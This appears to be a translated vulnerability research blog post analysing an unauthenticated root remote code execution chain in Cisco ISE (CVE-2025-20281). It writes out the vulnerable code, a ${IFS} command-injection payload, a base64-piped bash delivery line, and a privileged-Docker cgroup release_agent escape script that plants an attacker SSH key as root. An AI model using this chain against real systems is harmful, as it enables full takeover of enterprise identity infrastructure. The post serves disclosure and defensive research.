Cisco ISE API未认证远程代码执行漏洞深度分析

本文详细分析了Cisco ISE中的未认证远程代码执行漏洞CVE-2025-20281,涵盖从反序列化漏洞到命令注入,以及利用Docker特权容器逃逸获得root权限的全过程,涉及Java exec()机制、bash IFS技巧和cgroup逃逸技术。

CVE-2025-20281: Cisco ISE API未认证远程代码执行漏洞

2025年7月25日 | Bobby Gould

漏洞背景

2025年1月25日,趋势科技零日计划(ZDI)收到GMO Cybersecurity by Ierae的Kentaro Kawane报告,关于Cisco身份服务引擎(ISE)中存在反序列化不可信数据漏洞。这个认证前漏洞存在于DescriptionRegistrationListener类的enableStrongSwanTunnel方法中。在分析该漏洞时,我注意到同一函数还存在root权限的命令注入漏洞。Cisco最初将其修补为CVE-2025-20281(ZDI-25-609),但随后又发布了CVE-2025-20337(ZDI-25-607)以完全解决该漏洞。下文将解释原因。

利用过程并不像我最初希望的那么直接,但最终比普通的命令注入有趣得多。在本博客中,我将分享如何在受影响的Cisco ISE安装上获得root shell,包括从实际执行命令注入的Docker容器中逃逸的过程!

获取命令注入

以下是enableStrongSwanTunnel方法,它导致两个漏洞——一个是ZDI收到的原始报告,另一个是本博客的主题。值得注意的是,Cisco不同意并最初为两个提交分配了相同的CVE。这是正确的决定吗?我将把这个判断留给读者。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
private void enableStrongSwanTunnel(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
    logger.debug("Handling enableStrongSwanTunnel request ..");
    try {
        logger.debug("Enable Native IPSec Tunnel is triggered.");
        ObjectInputStream var3 = new ObjectInputStream(var1.getInputStream()); // [1]
        String[] var4 = (String[])var3.readObject(); // [2]
        ...
        Process var7 = this.invokeStrongSwanShellScript(var5, var6, "enable ", var4); // [3]
        ...
    }
}

在[1]和[2]处,可以看到最初报告的不安全反序列化。
在[3]处,我们看到如果攻击者提供有效的序列化Java字符串数组,该值将用于调用shell脚本。
不仅如此,invokeStrongSwanShellScript函数还包含另一个有趣的东西:

1
2
3
4
5
6
7
private Process invokeStrongSwanShellScript(File var1, File var2, String var3, String[] var4) throws IOException, InterruptedException {
    ...
    String var5 = "/usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh ".concat(var3).concat(var4[0]); // [4]
    logger.debug("Command is :: {}", var5); // [5]
    Process var6 = Runtime.getRuntime().exec(var5); // [6]
    ...
}

[4]处的sudo命令更令人兴奋。这不仅看起来非常有希望作为命令注入漏洞,而且该代码将以root权限执行。
[5]处的logger.debug调用看起来很有帮助,因此在重新配置log4j以输出调试日志后,我开始发送一些测试输入。

快速说明:
下面的每个日志输出都来自向/deployment-rpc/enableStrongSwanTunnel发出单独的POST请求。这些请求的主体是序列化Java String[]数组对象的字符串表示形式,其中数组的第一个元素包含命令注入。
例如,以下数组在序列化并发送到该端点时,在日志中显示为configureStrongSwan.sh enable x; touch /flag。
      String[] arr = {“x; touch /flag”, “”};
为简洁起见,在本博客的其余部分,我只包含了通过exec()使用bash执行的最终命令。实际上,触发每个命令的向量是易受攻击的enableStrongSwanTunnel端点。
现在,回到那些测试输入:

1
2
3
4
5
6
7
8
9
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable x; touch /flag
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable "x; touch /flag"
# tail -n 1
DEBUG Command is :: /usr/bin/sudo /opt/CSCOcpm/bin/configureStrongSwan.sh enable `x; touch /flag`
... // 多次尝试后
# ls /flag
ls: cannot access '/flag': No such file or directory

日志看起来很好;显然我们可以控制[4]处第二个concat的值。
不幸的是,随后的ls调用显示,利用并不那么直接。因为exec命令调用磁盘上的bash脚本并将攻击者控制的输入作为参数传递,我们不能简单地破坏exec调用并执行我们自己的代码。
相反,我们需要查看configureStrongSwan.sh以了解该参数的使用方式。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
OPERATION=$1
IKE_ID="$2"
...
elif [ "$OPERATION" == "enable" ]; then
    enableStrongSwan "$IKE_ID" # [1]
fi

enableStrongSwan(){
  ...
  retval=$(verifyIpsecConnectionStatus "$1") # [2]
  ...
}

verifyIpsecConnectionStatus(){
  cmd="swanctl -l --ike "
  arg="$1" # [3]
  statusCmd="${cmd}${arg}" # [4]
  retval=$(docker exec strongswan-container /bin/bash -c "$statusCmd") # [5]
  ...
}

在[1]处,当使用[3]处指定的enable操作时,我们调用enableStrongSwan函数。这里OPERATION是enable,IKE_ID是我们攻击者控制的有效负载。
在[2]处,我们看到传递的IKE_ID在函数中的唯一用法,作为另一个函数verifyIpsecConnectionStatus的参数。
在[3]和[4]处,我们使用攻击者控制的有效负载构建swanctl命令。[3]处的参数$1对应于IKE_ID参数。
最后,在[5]处,注意我们在docker容器中运行此命令:strongswan-container。这是拼图的另一部分。也许代码正在该容器中执行?让我们看看:

1
2
# docker exec -it strongswan-container ls /flag
ls: cannot access '/flag': No such file or directory

仍然没有成功,但更近了一步!
上面要注意的关键点是易受攻击的参数IKE_ID来自存储在变量$2中的脚本参数。考虑以下来自初始测试输入的示例:
      configureStrongSwan.sh enable x; touch /flag
这里,arg $2只是x;。不像我们希望的那么有威胁。额外的参数$3和$4包含touch和/flag.txt,但脚本从未使用它们。
即使我们使用引号或反引号(防止bash拆分有效负载),磁盘上也没有发生任何情况。但这是为什么呢?该示例中arg $2的值说明了问题:
      configureStrongSwan.sh enable “x; touch /flag”
有趣的是,在configureStrongSwan.sh中用作IKE_ID的arg值$2实际上是"x;。这很奇怪。通常当向bash脚本发送参数时,我们可以期望引用的参数保持在一起。然而,事实证明Java处理此命令的方式与bash本身不同。

Java exec()调用中的标记化

为了正确制作最终的漏洞利用,我们必须首先更多了解Java的exec方法的工作原理。Cisco ISE使用Java 8,因此让我们查看该版本的Open JDK代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}

public Process exec(String command, String[] envp, File dir) throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");
    StringTokenizer st = new StringTokenizer(command); // [5]
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}

在[5]处,我们看到当字符串命令传递给exec()时,Java使用StringTokenizer类对其进行标记化。
关于Java 8中StringTokenizer类的更多信息可以在这里阅读。但就本博客而言,我将直接切入重点:
StringTokenizer,根据设计,不尊重引号或反引号。相反,它的行为只是简单地按提供的标记(默认值为\t\n\r\f,用于exec方法)拆分字符串。这解释了为什么当我们尝试使用引号时,来自测试输入的IKE_ID值只是"x;。到bash收到我们的输入时,它已经被标记化,因此没有被解析为一个单一参数。
对我们来说幸运的是,Bash内置了一个称为内部字段分隔符(${IFS})的特殊变量。关于此变量的目的和功能的更多信息可以在这里阅读。
就本漏洞利用而言,用法很简单:攻击者可以简单地将所有空格替换为${IFS},bash将按预期解释一切。以下示例从bash的角度来看实际上是相同的:

1
2
configureStrongSwan.sh enable x; touch /flag
configureStrongSwan.sh enable x;${IFS}touch${IFS}/flag

然而,使用${IFS}版本,Java将整个有效负载视为单个标记,保持命令的完整性。
此外,exec现在实际上为我们工作,我们甚至不需要包含引号。Java将标记化我们的输入并确保它作为单个参数传递给bash。
我们现在可以使用${IFS}变量运行有效负载,瞧!

1
2
# docker exec -it strongswan-container ls /flag
/flag

最后,代码执行!但这还不是我想要的。代码在Docker strongswan-container的上下文中执行,但我真正想要的是ISE服务器主机上的完整root shell。

逃逸容器

我们可以从主机看到strongswan-container以特权运行:

1
2
$ docker inspect --format='{{.HostConfig.Privileged}}' strongswan-container
true

这是Cisco的一份大礼。因为它以特权运行,我们可以利用Brandon Edwards和Nick Freeman在Black Hat USA 2019的这次演讲[PDF]中描述的“用户模式助手”技术。
我总结了与此特定容器设置相关的细节。更通用的信息可以在这里找到。最终的有效负载如下所示:

1
2
3
4
5
6
7
8
9
mkdir /tmp/esc
mount -t cgroup -o rdma cgroup /tmp/esc // [1]
mkdir /tmp/esc/w
echo 1 > /tmp/esc/w/notify_on_release
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
pop="$overlay/simulate.sh"
echo $pop > /tmp/esc/release_agent // [2]
echo \#\!/bin/bash > simulate.sh ; echo "mkdir /root/.ssh" >> simulate.sh ; echo "echo 'ssh-rsa [public key here] attacker' > /root/.ssh/authorized_keys" >> simulate.sh; chmod +x simulate.sh // [3]
echo "0" | tee /tmp/esc/w/cgroup.procs // [4]

在[1]处,挂载一个Linux cgroup。
在[2]处,我们指定一个shell脚本simulate.sh在cgroup清空时执行。
在[3]处,创建并配置simulate.sh。在这里,我选择将SSH公钥回显到ISE服务器上的/root/.ssh/authorized_keys文件。
在[4]处,清空cgroup。这导致simulate.sh在主机ISE服务器上以root权限执行。

整合一切

上述技术很好,但我们仍然不能使用空格。我没有到处应用${IFS},而是选择对容器逃逸脚本进行base64编码。然后,发送到易受攻击端点的有效负载可以包括base64 -d调用来解码脚本并将其通过管道传递给bash: echo${IFS}[base64-encoded-escape-script]${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash
总之,最终的恶意请求如下所示:

[查看完整大小]

最后,一个root shell!

1
2
3
$ ssh -i attacker_id_rsa root@52.91.39.229
[root@cisco-ise ~]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_t:s0-s0:c0.c1023

结论

这个漏洞利用起来非常有趣,并突出显示了几种值得了解的技术,即使对于像命令注入这样相对直接的漏洞类也很有用。总之,攻击者可以利用Cisco身份服务引擎中的一系列错误来实现完整的系统接管作为root。
通过利用bash中的${IFS}变量,我们可以绕过Java的exec方法限制我们使用空格字符。此外,尽管初始命令注入在Docker容器内执行,但我们能够突破沙箱并在主机上执行代码,因为Cisco将容器配置为特权模式。
最后,对于那些在家跟随的人:Cisco认为彼此重复的那两个漏洞?它们通过两个不同的代码更改修复。“重复”的定义再次留给读者。
请关注未来的博客,我将更详细地介绍我在该领域发现的漏洞。在此之前,你可以在Twitter上关注我@bobbygould5,并在Twitter、Mastodon、LinkedIn或Bluesky上关注团队以获取最新的漏洞利用技术和安全补丁。

标签

Cisco
逆向工程
研究

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计